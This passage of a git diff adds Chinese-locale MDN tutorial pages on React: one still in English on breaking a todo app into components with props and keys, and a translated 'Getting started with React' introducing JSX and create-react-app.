behavior in Svelte: working with variables and props</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_components">Componentizing our Svelte app</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_reactivity_lifecycle_accessibility">Advanced Svelte: Reactivity, lifecycle, accessibility</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_stores">Working with Svelte stores</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_TypeScript">TypeScript support in Svelte</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_deployment_next">Deployment and next steps</a></li> + </ul> + </li> +</ul> diff --git a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/react_components/index.html b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/react_components/index.html new file mode 100644 index 0000000000..39ef145118 --- /dev/null +++ b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/react_components/index.html @@ -0,0 +1,450 @@ +--- +title: Componentizingapp +slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components +translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</div> + +<p class="summary">At this point, our app is a monolith. Before we can make it do things, we need to break it apart into manageable, descriptive components. React doesn’t have any hard rules for what is and isn’t a component – that’s up to you! In this article we will show you a sensible way to break our app up into components.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Prerequisites:</th> + <td> + <p>Familiarity with the core <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, and <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> languages, knowledge of the <a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line">terminal/command line</a>.</p> + </td> + </tr> + <tr> + <th scope="row">Objective:</th> + <td>To show a sensible way of breaking our todo list app into components.</td> + </tr> + </tbody> +</table> + +<h2 id="Defining_our_first_component">Defining our first component</h2> + +<p>Defining a component can seem tricky until you have some practice, but the gist is:</p> + +<ul> + <li>If it represents an obvious "chunk" of your app, it's probably a component</li> + <li>If it gets reused often, it's probably a component.</li> +</ul> + +<p>That second bullet is especially valuable: making a component out of common UI elements allows you to change your code in one place and see those changes everywhere that component is used. You don't have to break everything out into components right away, either. Let's take the second bullet point as inspiration and make a component out of the most reused, most important piece of the UI: a todo list item.</p> + +<h2 id="Make_a_<Todo_>">Make a <code><Todo /></code></h2> + +<p>Before we can make a component, we should create a new file for it. In fact, we should make a directory just for our components. The following commands make a <code>components</code> directory and then, within that, a file called <code>Todo.js</code>. Make sure you're in the root of your app before you run these!</p> + +<pre class="brush: bash notranslate">mkdir src/components +touch src/components/Todo.js</pre> + +<p>Our new <code>Todo.js</code> file is currently empty! Open it up and give it its first line:</p> + +<pre class="brush: js notranslate">import React from "react";</pre> + +<p>Since we're going to make a component called <code>Todo</code>, you can start adding the code for that to <code>Todo.js</code> too, as follows. In this code, we define the function and export it on the same line:</p> + +<pre class="brush: js notranslate">export default function Todo() { + return ( + + ); +}</pre> + +<p>This is OK so far, but our component has to return something! Go back to <code>src/App.js</code>, copy the first <code><a href="/en-US/docs/Web/HTML/Element/li"><li></a></code> from inside the unordered list, and paste it into <code>Todo.js</code> so that it reads like this:</p> + +<pre class="brush: js notranslate">export default function Todo() { + return ( + <li className="todo stack-small"> + <div className="c-cb"> + <input id="todo-0" type="checkbox" defaultChecked={true} /> + <label className="todo-label" htmlFor="todo-0"> + Eat + </label> + </div> + <div className="btn-group"> + <button type="button" className="btn"> + Edit <span className="visually-hidden">Eat</span> + </button> + <button type="button" className="btn btn__danger"> + Delete <span className="visually-hidden">Eat</span> + </button> + </div> + </li> + ); +}</pre> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: Components must always return something. If at any point in the future you try to render a component that does not return anything, React will display an error in your browser.</p> +</div> + +<p>Our <code>Todo</code> component is complete, at least for now; now we can use it. In <code>App.js</code>, add the following line near the top of the file to import <code>Todo</code>:</p> + +<pre class="brush: js notranslate">import Todo from "./components/Todo";</pre> + +<p>With this component imported, you can replace all of the <code><li></code> elements in <code>App.js</code> with <code><Todo /></code> component calls. Your <code><ul></code> should read like this:</p> + +<pre class="brush: js notranslate"><ul + role="list" + className="todo-list stack-large stack-exception" + aria-labelledby="list-heading" +> + <Todo /> + <Todo /> + <Todo /> +</ul></pre> + +<p>When you look back at your browser, you'll notice something unfortunate: your list now repeats the first task three times!</p> + +<p><img alt="Our todo list app, with todo components repeating because the label is hardcoded into the component" src="https://mdn.mozillademos.org/files/17255/todo-list-repeating-todos.png" style="border-style: solid; border-width: 1px; height: 954px; width: 856px;"></p> + +<p>We don't only want to eat; we have other things to — well — to do. Next we'll look at how we can make different component calls render unique content.</p> + +<h2 id="Make_a_unique_<Todo_>">Make a <em>unique</em> <code><Todo /></code></h2> + +<p>Components are powerful because they let us re-use pieces of our UI, and refer to one place for the source of that UI. The problem is, we don't typically want to reuse all of each component; we want to reuse most parts, and change small pieces. This is where props come in.</p> + +<h3 id="Whats_in_a_name">What's in a <code>name</code>?</h3> + +<p>In order to track the names of tasks we want to complete, we should ensure that each <code><Todo /></code> component renders a unique name.</p> + +<p>In <code>App.js</code>, give each <code><Todo /></code> a name prop. Let’s use the names of our tasks that we had before:</p> + +<pre class="brush: js notranslate"><Todo name="Eat" /> +<Todo name="Sleep" /> +<Todo name="Repeat" /></pre> + +<p>When your browser refreshes, you will see… the exact same thing as before. We gave our <code><Todo /></code> some props, but we aren't using them yet. Let's go back to <code>Todo.js</code> and remedy that.</p> + +<p>First modify your <code>Todo()</code> function definition so that it takes <code>props</code> as a parameter. You can <code>console.log()</code> your <code>props</code> as we did before, if you'd like to check that they are being received by the component correctly.</p> + +<p>Once you're confident that your component is getting its <code>props</code>, you can replace every occurrence of <code>Eat</code> with your <code>name</code> prop. Remember: when you're in the middle of a JSX expression, you use curly braces to inject the value of a variable.</p> + +<p>Putting all that together, your <code>Todo()</code> function should read like this:</p> + +<pre class="brush: js notranslate">export default function Todo(props) { + return ( + <li className="todo stack-small"> + <div className="c-cb"> + <input id="todo-0" type="checkbox" defaultChecked={true} /> + <label className="todo-label" htmlFor="todo-0"> + {props.name} + </label> + </div> + <div className="btn-group"> + <button type="button" className="btn"> + Edit <span className="visually-hidden">{props.name}</span> + </button> + <button type="button" className="btn btn__danger"> + Delete <span className="visually-hidden">{props.name}</span> + </button> + </div> + </li> + ); +}</pre> + +<p><em>Now</em> your browser should show three unique tasks. Another problem remains though: they're all still checked by default.</p> + +<p><img alt="Our todo list, with different todo labels now they are passed into the components as props" src="https://mdn.mozillademos.org/files/17256/todo-list-unique-todos.png" style="border-style: solid; border-width: 1px; height: 954px; width: 856px;"></p> + +<h3 id="Is_it_completed">Is it <code>completed</code>?</h3> + +<p>In our original static list, only <code>Eat</code> was checked. Once again, we want to reuse <em>most</em> of the UI that makes up a <code><Todo /></code> component, but change one thing. That's a good job for another prop! Give each <code><Todo /></code> call in <code>App.js</code> a new prop of <code>completed</code>. The first (<code>Eat</code>) should have a value of <code>true</code>; the rest should be <code>false</code>:</p> + +<pre class="brush: js notranslate"><Todo name="Eat" completed={true} /> +<Todo name="Sleep" completed={false} /> +<Todo name="Repeat" completed={false} /></pre> + +<p>As before, we must go back to <code>Todo.js</code> to actually use these props. Change the <code>defaultChecked</code> attribute on the <code><input /></code> so that its value is equal to the <code>completed</code> prop. Once you’re done, the Todo component's <code><input /></code> element will read like this:</p> + +<pre class="brush: js notranslate"><input id="todo-0" type="checkbox" defaultChecked={props.completed} /></pre> + +<p>And your browser should update to show only <code>Eat</code> being checked:</p> + +<p><img alt="Our todo list app, now with differing checked states - some checkboxes are checked, others not" src="https://mdn.mozillademos.org/files/17254/todo-list-differing-checked-states.png" style="border-style: solid; border-width: 1px; height: 954px; width: 856px;"></p> + +<p>If you change each <code><Todo /></code> component’s <code>completed</code> prop, your browser will check or uncheck the equivalent rendered checkboxes accordingly.</p> + +<h3 id="Gimme_some_id_please">Gimme some <code>id</code>, please</h3> + +<p>Right now, our <code><Todo /></code> component gives every task an <code>id</code> attribute of <code>todo-0</code>. This is bad HTML because <a href="/en-US/docs/Web/HTML/Global_attributes/id"><code>id</code> attributes</a> must be unique (they are used as unique identifiers for document fragments, by CSS, JavaScript, etc.). This means we should give our component an <code>id</code> prop that takes a unique value for each <code>Todo</code>.</p> + +<p>To follow the same pattern we had initially, let's give each instance of the <code><Todo /></code> component an ID in the format of <code>todo-i</code>, where <code>i</code> gets larger by one every time:</p> + +<pre class="brush: js notranslate"><Todo name="Eat" completed={true} id="todo-0" /> +<Todo name="Sleep" completed={false} id="todo-1" /> +<Todo name="Repeat" completed={false} id="todo-2" /></pre> + +<p>Now go back to <code>Todo.js</code> and make use of the <code>id</code> prop. It needs to replace the value of the <code>id</code> attribute of the <code><input /></code> element, as well as the value of its label's <code>htmlFor</code> attribute:</p> + +<pre class="brush: js notranslate"><div className="c-cb"> + <input id={props.id} type="checkbox" defaultChecked={props.completed} /> + <label className="todo-label" htmlFor={props.id}> + {props.name} + </label> +</div></pre> + +<h2 id="So_far_so_good">So far, so good?</h2> + +<p>We’re making good use of React so far, but we could do better! Our code is repetitive. The three lines that render our <code><Todo /></code> component are almost identical, with only one difference: the value of each prop.</p> + +<p>We can clean up our code with one of JavaScript's core abilities: iteration. To use iteration, we should first re-think our tasks.</p> + +<h2 id="Tasks_as_data">Tasks as data</h2> + +<p>Each of our tasks currently contains three pieces of information: its name, whether it has been checked, and its unique ID. This data translates nicely to an object. Since we have more than one task, an array of objects would work well in representing this data.</p> + +<p>In <code>src/index.js</code>, make a new <code>const</code> beneath the final import, but above <code>ReactDOM.render()</code>:</p> + +<pre class="brush: js notranslate">const DATA = [ + { id: "todo-0", name: "Eat", completed: true }, + { id: "todo-1", name: "Sleep", completed: false }, + { id: "todo-2", name: "Repeat", completed: false } +];</pre> + +<p>Next, we'll pass <code>DATA</code> to <code><App /></code> as a prop, called <code>tasks</code>. The final line of <code>src/index.js</code> should read like this:</p> + +<pre class="brush: js notranslate">ReactDOM.render(<App tasks={DATA} />, document.getElementById("root"));</pre> + +<p>This array is now available to the App component as <code>props.tasks</code>. You can <code>console.log()</code> it to check, if you’d like.</p> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: <code>ALL_CAPS</code> constant names have no special meaning in JavaScript; they’re a convention that tells other developers "this data will never change after being defined here”.</p> +</div> + +<h2 id="Rendering_with_iteration">Rendering with iteration</h2> + +<p>To render our array of objects, we have to turn each one into a <code><Todo /></code> component. JavaScript gives us an array method for transforming data into something else: <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">Array.prototype.map()</a></code>.</p> + +<p>Above the return statement of <code>App()</code>, make a new <code>const</code> called <code>taskList</code> and use <code>map()</code> to transform it. Let's start by turning our <code>tasks</code> array into something simple: the <code>name</code> of each task:</p> + +<pre class="brush: js notranslate">const taskList = props.tasks.map(task => task.name);</pre> + +<p>Let’s try replacing all the children of the <code><ul></code> with <code>taskList</code>:</p> + +<pre class="brush: js notranslate"><ul + role="list" + className="todo-list stack-large stack-exception" + aria-labelledby="list-heading" +> + {taskList} +</ul></pre> + +<p>This gets us some of the way towards showing all the components again, but we’ve got more work to do: the browser currently renders each task's name as unstructured text. We’re missing our HTML structure — the <code><li></code> and its checkboxes and buttons!</p> + +<p><img alt="Our todo list app with the todo item labels just shown bunched up on one line" src="https://mdn.mozillademos.org/files/17257/todo-list-unstructured-names.png" style="border-style: solid; border-width: 1px; height: 627px; width: 856px;"></p> + +<p>To fix this, we need to return a <code><Todo /></code> component from our <code>map()</code> function — remember that JSX allows us to mix up JavaScript and markup structures! Let's try the following instead of what we have already:</p> + +<pre class="brush: js notranslate"> const taskList = props.tasks.map(task => <Todo />);</pre> + +<p>Look again at your app; now our tasks look more like they used to, but they’re missing the names of the tasks themselves. Remember that each task we map over has the <code>id</code>, <code>name</code>, and <code>checked</code> properties we want to pass into our <code><Todo /></code> component. If we put that knowledge together, we get code like this:</p> + +<pre class="brush: js notranslate">const taskList = props.tasks.map(task => ( + <Todo id={task.id} name={task.name} completed={task.completed} /> +));</pre> + +<p>Now the app looks like it did before, and our code is less repetitive.</p> + +<h2 id="Unique_keys">Unique keys</h2> + +<p>Now that React is rendering our tasks out of an array, it has to keep track of which one is which in order to render them properly. React tries to do its own guesswork to keep track of things, but we can help it out by passing a <code>key</code> prop to our <code><Todo /></code> components. <code>key</code> is a special prop that's managed by React – you cannot use the word <code>key</code> for any other purpose.</p> + +<p>Because keys should be unique, we're going to re-use the <code>id</code> of each task object as its key. Update your <code>taskList</code> constant like so:</p> + +<pre class="brush: js notranslate">const taskList = props.tasks.map(task => ( + <Todo + id={task.id} + name={task.name} + completed={task.completed} + key={task.id} + /> + ) +);</pre> + +<p><strong>You should always pass a unique key to anything you render with iteration.</strong> Nothing obvious will change in your browser, but if you do not use unique keys, React will log warnings to your console and your app may behave strangely!</p> + +<h2 id="Componentizing_the_rest_of_the_app">Componentizing the rest of the app</h2> + +<p>Now that we've got our most important component sorted out, we can turn the rest of our app into components. Remembering that components are either obvious pieces of UI, or reused pieces of UI, or both, we can make two more components:</p> + +<ul> + <li><code><Form/></code></li> + <li><code><FilterButton/></code></li> +</ul> + +<p>Since we know we need both, we can batch some of the file creation work together with a terminal command. Run this command in your terminal, taking care that you're in the root directory of your app:</p> + +<pre class="brush: bash notranslate">touch src/components/Form.js src/components/FilterButton.js</pre> + +<h3 id="The_<Form_>">The <code><Form /></code></h3> + +<p>Open <code>components/Form.js</code> and do the following:</p> + +<ul> + <li>Import <code>React</code> at the top of the file, like we did in <code>Todo.js</code>.</li> + <li>Make yourself a new <code>Form()</code> component with the same basic structure as <code>Todo()</code>, and export that component.</li> + <li>Copy the <code><form></code> tags and everything between them from inside <code>App.js</code>, and paste them inside <code>Form()</code>’s <code>return</code> statement.</li> + <li>Export <code>Form</code> at the end of the file.</li> +</ul> + +<p>Your <code>Form.js</code> file should read like this:</p> + +<pre class="brush: js notranslate">import React from "react"; + +function Form(props) { + return ( + <form> + <h2 className="label-wrapper"> + <label htmlFor="new-todo-input" className="label__lg"> + What needs to be done? + </label> + </h2> + <input + type="text" + id="new-todo-input" + className="input input__lg" + name="text" + autoComplete="off" + /> + <button type="submit" className="btn btn__primary btn__lg"> + Add + </button> + </form> + ); +} + +export default Form;</pre> + +<h3 id="The_<FilterButton_>">The <FilterButton /></h3> + +<p>Do the same things you did to create <code>Form.js</code> inside <code>FilterButton.js</code>, but call the component <code>FilterButton()</code> and copy the HTML for the first button inside the <code><div></code> element with the <code>class</code> of <code>filters</code> from <code>App.js</code> into the <code>return</code> statement.</p> + +<p>The file should read like this:</p> + +<pre class="brush: js notranslate">import React from "react"; + +function FilterButton(props) { + return ( + <button type="button" className="btn toggle-btn" aria-pressed="true"> + <span className="visually-hidden">Show </span> + <span>all </span> + <span className="visually-hidden"> tasks</span> + </button> + ); +} + +export default FilterButton;</pre> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: You might notice that we are making the same mistake here as we first made for the <code><Todo /></code> component, in that each button will be the same. That’s fine! We’re going to fix up this component later on, in <a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering#Back_to_the_filter_buttons">Back to the filter buttons</a>.</p> +</div> + +<h2 id="Importing_all_our_components">Importing all our components</h2> + +<p>Let's make use of our new components.</p> + +<p>Add some more <code>import</code> statements to the top of <code>App.js</code>, to import them.</p> + +<p>Then, update the <code>return</code> statement of <code>App()</code> so that it renders our components. When you’re done, <code>App.js</code> will read like this:</p> + +<pre class="brush: js notranslate">import React from "react"; +import Form from "./components/Form"; +import FilterButton from "./components/FilterButton"; +import Todo from "./components/Todo"; + +function App(props) { + const taskList = props.tasks.map(task => ( + <Todo + id={task.id} + name={task.name} + completed={task.completed} + key={task.id} + /> + ) + ); + return ( + <div className="todoapp stack-large"> + <Form /> + <div className="filters btn-group stack-exception"> + <FilterButton /> + <FilterButton /> + <FilterButton /> + </div> + <h2 id="list-heading">3 tasks remaining</h2> + <ul + role="list" + className="todo-list stack-large stack-exception" + aria-labelledby="list-heading" + > + {taskList} + </ul> + </div> + ); +} + +export default App;</pre> + +<p>With this in place, we’re <em>almost</em> ready to tackle some interactivity in our React app!</p> + +<h2 id="Summary">Summary</h2> + +<p>And that's it for this article — we've gone into some depth on how to break up your app nicely into components, end render them efficiently. Now we'll go on to look at how we handle events in React, and start adding some interactivity.</p> + +<p>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">Introduction to client-side frameworks</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features">Framework main features</a></li> + <li>React + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started">Getting started with React</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning">Beginning our React todo list</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components">Componentizing our React app</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state">React interactivity: Events and state</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering">React interactivity: Editing, filtering, conditional rendering</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility">Accessibility in React</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources">React resources</a></li> + </ul> + </li> + <li>Ember + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started">Getting started with Ember</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization">Ember app structure and componentization</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state">Ember interactivity: Events, classes and state</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer">Ember Interactivity: Footer functionality, conditional rendering</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing">Routing in Ember</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources">Ember resources and troubleshooting</a></li> + </ul> + </li> + <li>Vue + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started">Getting started with Vue</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component">Creating our first Vue component</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists">Rendering a list of Vue components</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models">Adding a new todo form: Vue events, methods, and models</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling">Styling Vue components with CSS</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties">Using Vue computed properties</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering">Vue conditional rendering: editing existing todos</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management">Focus management with Vue refs</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources">Vue resources</a></li> + </ul> + </li> + <li>Svelte + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_getting_started">Getting started with Svelte</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_Todo_list_beginning">Starting our Svelte Todo list app</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_variables_props">Dynamic behavior in Svelte: working with variables and props</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_components">Componentizing our Svelte app</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_reactivity_lifecycle_accessibility">Advanced Svelte: Reactivity, lifecycle, accessibility</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_stores">Working with Svelte stores</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_TypeScript">TypeScript support in Svelte</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_deployment_next">Deployment and next steps</a></li> + </ul> + </li> +</ul> diff --git a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.html b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.html new file mode 100644 index 0000000000..8ee4d5d755 --- /dev/null +++ b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/react_getting_started/index.html @@ -0,0 +1,484 @@ +--- +title: React 入门 +slug: >- + Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started +tags: + - JavaScript + - React + - 初学者 + - 学习 + - 客户端 + - 框架 +translation_of: >- + Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</div> + +<p class="summary"><font><font>本文会引导我们进入一段 React 学习之旅。</font><font>我们将逐步了解有关它的背景和用例的一些细节,在自己的电脑上建起基本的 React 工具链,创建并使用一个简单的入门应用程序,以学习一些关于 React 在此过程中如何工作的知识。</font></font></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row"><font><font>先决条件:</font></font></th> + <td> + <p><font><font>熟悉核心 </font></font><a href="/en-US/docs/Learn/HTML"><font><font>HTML</font></font></a><font><font>,</font></font><font><font><a href="/en-US/docs/Learn/CSS">CSS</a> </font></font><font><font>和 </font></font><font><font><a href="/en-US/docs/Learn/JavaScript">JavaScript</a> </font></font><font><font>语言,了解</font></font><a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line"><font><font>终端/命令行</font></font></a><font><font>。</font></font></p> + + <p><font><font>React 使用称为 JSX(JavaScript 和 XML)的 HTML-in-JavaScript 语法。</font><font>熟悉 HTML 和 JavaScript 可以帮助您学习 JSX,并更好地确定应用程序中的错误是与 JavaScript 还是与 React 的更特定领域相关。</font></font></p> + </td> + </tr> + <tr> + <th scope="row"><font><font>目的:</font></font></th> + <td><font><font>要设置本地 React 开发环境,创建一个启动应用程序,并了解其工作原理</font></font></td> + </tr> + </tbody> +</table> + +<h2 id="你好_React"><font><font>你好 React</font></font></h2> + +<p><font><font>如其官方口号所示,</font></font><font><font><a href="https://reactjs.org/">React</a> 是一个用于构建用户界面的库。React 不是一个框架 —— 它的应用甚至不局限于 Web 开发,它可以与其他库一起使用以渲染到特定环境。例如,</font></font><font><font><a href="https://reactnative.dev/">React Native</a> </font></font><font><font>可用于构建移动应用程序;</font></font><font><font><a href="https://facebook.github.io/react-360/">React 360</a> </font></font><font><font>可用于构建虚拟现实应用程序……</font></font></p> + +<p><font><font>为了构建 Web 应用,开发人员将 React 与 </font></font><a href="https://reactjs.org/docs/react-dom.html"><font><font>ReactDOM 结合使用</font></font></a><font><font>。</font><font>React 和 ReactDOM 通常被与其他真正的 Web 开发框架相提并论,并用于解决相同的问题。</font><font>当我们将 React 称为“框架”时,</font></font>就是在进行口语化的理解<font><font>。</font></font></p> + +<p><font><font>React 的主要目标是最大程度地减少开发人员构建 UI 时发生的错误。它通过使用组件——描述部分用户界面的、自包含的逻辑代码段——来实现此目的。这些组件可以组合在一起以创建完整的 UI,React 将许多渲染工作进行抽象化,使您可以专注于 UI 设计(译者注:显而易见,此设计不等于视觉稿的设计)。</font></font></p> + +<h2 id="用例"><font><font>用例</font></font></h2> + +<p><font><font>与本模块中涵盖的其他框架不同,React 不会对代码约定或文件组织实施严格的规则。</font><font>这使团队可以设置最适合自己的约定,并以他们希望的任何方式采用 React。</font><font>React 可以处理一个按钮,一个界面的几个部分或应用程序的整个用户界面。</font></font></p> + +<div style="padding-top: 5px;"> +<p><span>尽管 React 可以用于<a href="https://reactjs.org/docs/add-react-to-a-website.html">界面的小片段</a>中,但要和 jQuery 这样的库,甚至是像 Vue 这样的框架那样“引入”应用程序并不容易 —— 当你使用 React 构建整个应用程序时更容易上手</span><span>。</span></p> +</div> + +<p>另外,许多开发人员的经验对于 React 应用程序也是有用处的,例如使用 JSX 编写界面是需要编译过程的。在网站上添加类似于 Babel 的编译器会让网站上代码的运行速度变慢,因此开发人员通常会在构建项目的时候设置这样的工具。React 对于工具的要求可以说是很高的,但这是能够学习解决的。</p> + +<p>本文将重点介绍使用 React 通过 Facebook 的 <a href="https://create-react-app.dev/">create-react-app</a> 内的工具渲染应用程序中整个用户界面的用例。</p> + +<h2 id="React_如何使用_JavaScript">React 如何使用 JavaScript?</h2> + +<p>React 中的许多模式都使用了现代 JavaScript 的功能。React 与 JavaScript 的最大区别在于 <a href="https://reactjs.org/docs/introducing-jsx.html">JSX</a> 语法的使用上。JSX 是在 JavaScript 语法上的拓展,因此类似于 HTML 的代码可以和 JSX 共存。例如:</p> + +<pre class="brush: js notranslate">const heading = <h1>Mozilla Developer Network</h1>;</pre> + +<p>该 heading 常量称为 <strong>JSX 表达式</strong>。React 可以使用它在我们的应用程序中渲染 <code><a href="/en-US/docs/Web/HTML/Element/Heading_Elements"><h1></a></code> 标签。</p> + +<p>假设出于语义原因,我们想将 heading 包装 <code><a href="/en-US/docs/Web/HTML/Element/header"><header></a></code> 在标记中?JSX 方法允许我们将元素彼此嵌套,就像使用 HTML 一样:</p> + +<pre class="brush: js notranslate">const header = ( + <header> + <h1>Mozilla Developer Network</h1> + </header> +);</pre> + +<div class="blockIndicator note"> +<p><strong>注意</strong>:上一个代码段中的括号并非 JSX 的一部分,它对您的应用程序没有任何影响,括号只是用来向您(和您的计算机)表明其中的多行代码属于同一个表达式(译者注:原文表述实在有点啰嗦)。因此上面的代码等同于:</p> + +<pre class="brush: js notranslate">const header = <header> + <h1>Mozilla Developer Network</h1> +</header></pre> + +<p>这看起来多少有点不适感,因为表达式前面的 <code><a href="/en-US/docs/Web/HTML/Element/header"><header></a></code> 标记没有缩进与其对应的结束标记相同的位置。</p> +</div> + +<p>浏览器是无法读取直接解析 JSX 的。我们的 header 表达式经过( <a href="https://babeljs.io/">Babel</a> 或 <a href="https://parceljs.org/">Parcel</a> 之类的工具)编译之后是这样的:</p> + +<pre class="brush: js notranslate">const header = React.createElement("header", null, + React.createElement("h1", null, "Mozilla Developer Network") +);</pre> + +<p><em>可以</em>跳过编译步骤,并使用 <code><a href="https://reactjs.org/docs/react-api.html#createelement">React.createElement()</a></code> 自己编写 UI。但是,这样做会失去 JSX 的声明性优势,并且代码变得更难以阅读。编译是开发过程中的一个额外步骤,但是 React 社区中的许多开发人员都认为 JSX 的可读性值得。另外,流行的工具使 JSX-to-JavaScript 编译成为其设置过程的一部分。除非您愿意,否则不必自己配置编译。</p> + +<p>由于 JSX 是 HTML 和 JavaScript 的结合,因此一些开发人员认为它很直观。其他人则说它的混合特性使它变得混乱。但是,一旦熟悉了它,它将使您能够更快,更直观地构建用户界面,并使其他人一眼就能更好地理解您的代码库。</p> + +<p>要阅读有关 JSX 的更多信息,请查看 React 团队的 <a href="https://reactjs.org/docs/jsx-in-depth.html">JSX In Depth</a> 文章。</p> + +<h2 id="设置您的第一个_React_应用">设置您的第一个 React 应用</h2> + +<p>有很多使用 React 的方法,但是我们将使用命令行界面(CLI)工具 create-react-app,如前所述,该方法通过安装一些软件包并创建一些软件包来加快开发 React 应用程序的过程。文件供您处理上述工具。</p> + +<p>通过将一些 <code><a href="/en-US/docs/Web/HTML/Element/script"><script></a></code> 元素复制到 HTML 文件中,可以在<a href="https://reactjs.org/docs/add-react-to-a-website.html">没有 create-react-app 的情况下将 React 添加到网站</a>,但是 create-react-app CLI 是 React 应用程序的常见起点。使用它可以让您花费更多的时间来构建应用,而花更少的时间进行设置。</p> + +<h3 id="要求">要求</h3> + +<p>为了使用 create-react-app,您需要安装 <a href="https://nodejs.org/en/">Node.js</a>。建议您使用长期支持(LTS)版本。Node 